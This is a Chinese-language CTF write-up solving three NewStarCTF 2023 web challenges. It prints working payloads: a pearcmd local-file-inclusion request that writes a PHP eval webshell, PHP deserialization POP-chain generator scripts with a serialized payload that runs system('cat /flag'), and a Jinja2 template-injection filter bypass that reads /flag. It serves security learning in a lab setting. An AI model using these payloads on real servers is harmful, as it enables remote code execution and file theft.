NewStar2023 Week3 web writeup by ripple
平台:https://buuoj.cn/match/matches/190/challenges
官方WP:NewStarCTF 2023 Week3 官方WriteUp (shimo.im)
听同学推荐这个比赛,说题目不错,试做了一下Week3的Web,确实很有意思,也有收获,写一下WP记录:
Web
Include 🍐
LFI to RCE,文件包含漏洞
但是常用的PHP伪协议等均被过滤,怎么办呢?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php error_reporting(0); if(isset($_GET['file'])) { $file = $_GET['file']; if(preg_match('/flag|log|session|filter|input|data/i', $file)) { die('hacker!'); } include($file.".php"); } else { highlight_file(__FILE__); } ?>
|
这里我们注意到题目名称是:Include 🍐
🍐的英文是Pear,这下就了解到全新思路了。
在网上查到了P牛等大佬的文章:
Docker PHP裸文件本地包含综述 | 离别歌 (leavesongs.com)
关于利用pearcmd进行文件包含的一些总结 | W4rsp1t3’s blog
在这些文章中利用IFI写入木马或者phpinfo到/tmp目录下做演示,而本题/tmp目录似乎是无法访问的,后来换到/var/www/html就通了
而且本题是默认加了.php后缀,所以pearcmd就行,不应该pearcmd.php。
构造payload:
1
| ?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST['cmd']);?>+/var/www/html/shell.php
|
连接shell:
1
| http://30788414-688a-42a6-9777-235624db72c5.node4.buuoj.cn:81/shell.php
|
拿下flag:
POP Gadget
PHP反序列化的题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| <?php highlight_file(__FILE__);
class Begin{ public $name;
public function __destruct() { if(preg_match("/[a-zA-Z0-9]/",$this->name)){ echo "Hello"; }else{ echo "Welcome to NewStarCTF 2023!"; } } }
class Then{ private $func;
public function __toString() { ($this->func)(); return "Good Job!"; }
}
class Handle{ protected $obj;
public function __call($func, $vars) { $this->obj->end(); }
}
class Super{ protected $obj; public function __invoke() { $this->obj->getStr(); }
public function end() { die("==GAME OVER=="); } }
class CTF{ public $handle;
public function end() { unset($this->handle->log); }
}
class WhiteGod{ public $func; public $var;
public function __unset($var) { ($this->func)($this->var); } }
@unserialize($_POST['pop']);
|
开始比较混乱后来理了一下各种魔术方法逻辑就清晰了:
1 2 3 4 5
| __destruct:析构方法,允许在销毁一个类之前执行的一些操作或完成一些功能 __toString:类被当成字符串时的回应方法 __call:在对象中调用一个不可访问方法时调用 __invoke:当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。 __unset:在对象里面加上了__unset()这个方法之后,在对象外部使用“unset()”函数删除对象内部的私有成员属性或无这个属性时调用。
|
直接能出发的只有__destruct,然后传入的被当成字符串____toString,接着__invoke,PHP没有getStr方法所以是__call,最后通过__unset中的内容和PHP可变函数实现RCE
这里在本地写了一个脚本:为了写入变量的值,把Then类中func变量Handle、Super里面的obj变量改为public,但是生成的payload依旧能够直接打通,神奇。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87
| <?php
class Begin{ public $name;
public function __destruct() { if(preg_match("/[a-zA-Z0-9]/",$this->name)){ echo "Hello"; }else{ echo "Welcome to NewStarCTF 2023!"; } } }
class Then{ public $func;
public function __toString() { ($this->func)(); return "Good Job!"; }
}
class Handle{ public $obj;
public function __call($func, $vars) { $this->obj->end(); }
}
class Super{ public $obj; public function __invoke() { $this->obj->getStr(); }
public function end() { die("==GAME OVER=="); } }
class CTF{ public $handle;
public function end() { unset($this->handle->log); }
}
class WhiteGod{ public $func; public $var;
public function __unset($var) { ($this->func)($this->var); } }
$Begin = new Begin; $Super = new Super; $Then = new Then; $Super = new Super; $Handle = new Handle; $CTF = new CTF; $WhiteGod = new WhiteGod;
$WhiteGod -> func = 'System'; $WhiteGod -> var = 'cat /flag'; $CTF -> handle = $WhiteGod; $Handle -> obj = $CTF; $Super -> obj = $Handle; $Then -> func = $Super; $Begin -> name = $Then;
echo serialize($Begin);
|
我这样的写法是逆推回去的写法,后来室友阿菇写了一个和我本质一样的脚本,但他的方式是正向推的,比较好理解也值得学习,所以我也向他要了一份他写的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82
| <?php class Begin{ public $name;
public function __destruct() { if(preg_match("/[a-zA-Z0-9]/",$this->name)){ echo "Hello"; }else{ echo "Welcome to NewStarCTF 2023!"; } } }
class Then{ public $func;
public function __toString() { ($this->func)(); return "Good Job!"; }
}
class Handle{ public $obj;
public function __call($func, $vars) { $this->obj->end(); }
}
class Super{ public $obj; public function __invoke() { $this->obj->getStr(); }
public function end() { die("==GAME OVER=="); } }
class CTF{ public $handle;
public function end() { unset($this->handle->log); }
}
class WhiteGod{ public $func; public $var;
public function __unset($var) { ($this->func)($this->var); } }
$myObj = new Begin; $myObj->name = new Then; $myObj->name->func = new Super; $myObj->name->func->obj = new Handle; $myObj->name->func->obj->obj = new CTF; $myObj->name->func->obj->obj->handle = new WhiteGod; $myObj->name->func->obj->obj->handle->func = "system"; $myObj->name->func->obj->obj->handle->var = "ls";
$poc = serialize($myObj);
echo $poc;
@unserialize($poc);
|
最终payload:
1
| O:5:"Begin":1:{s:4:"name";O:4:"Then":1:{s:4:"func";O:5:"Super":1:{s:3:"obj";O:6:"Handle":1:{s:3:"obj";O:3:"CTF":1:{s:6:"handle";O:8:"WhiteGod":2:{s:4:"func";s:6:"System";s:3:"var";s:9:"cat /flag";}}}}}}
|
burpsuite里面POST一下就行了
GenShin
网页提示:Oh!try to find some information that is useful~
在响应头发现有用的信息:
访问 /secr3tofpop路由
提示:please give a name by get
get传参一个name,发现我们的name被显示在了页面:
有此可以猜测到是一个模板注入的漏洞,构造name=49,发现被过滤:
更坚定了SSTI的想法,以及可能是Jinja2的模板注入。
被过滤的:
1 2 3 4 5 6 7 8 9
| {{ }} ' \ = request init popen ''
|
等等
使用{%7*7%}
是发现回显报错:确认是Jinja2的模板
然后就是各种绕过了。使用{%print()%}
来绕过{{}}
{%print(7*7)%}
回显49
{%print([].__class__.__base__.__subclasses__())%}
查看所有类
{%print([].__class__.__base__.__subclasses__()[1])%}
查询类,方便爆破写脚本,然后就是找可用的类了
参考了这篇文章,写的真的很全面:奇安信攻防社区-flask SSTI学习与总结
最终payload:
1
| {%print(().__class__.__bases__[0].__subclasses__()[99]["get_data"](0,"/flag"))%}
|
当时就做了这么多了,未来可能再去做一下写一些记录,具体其他题目可以去看看官方WP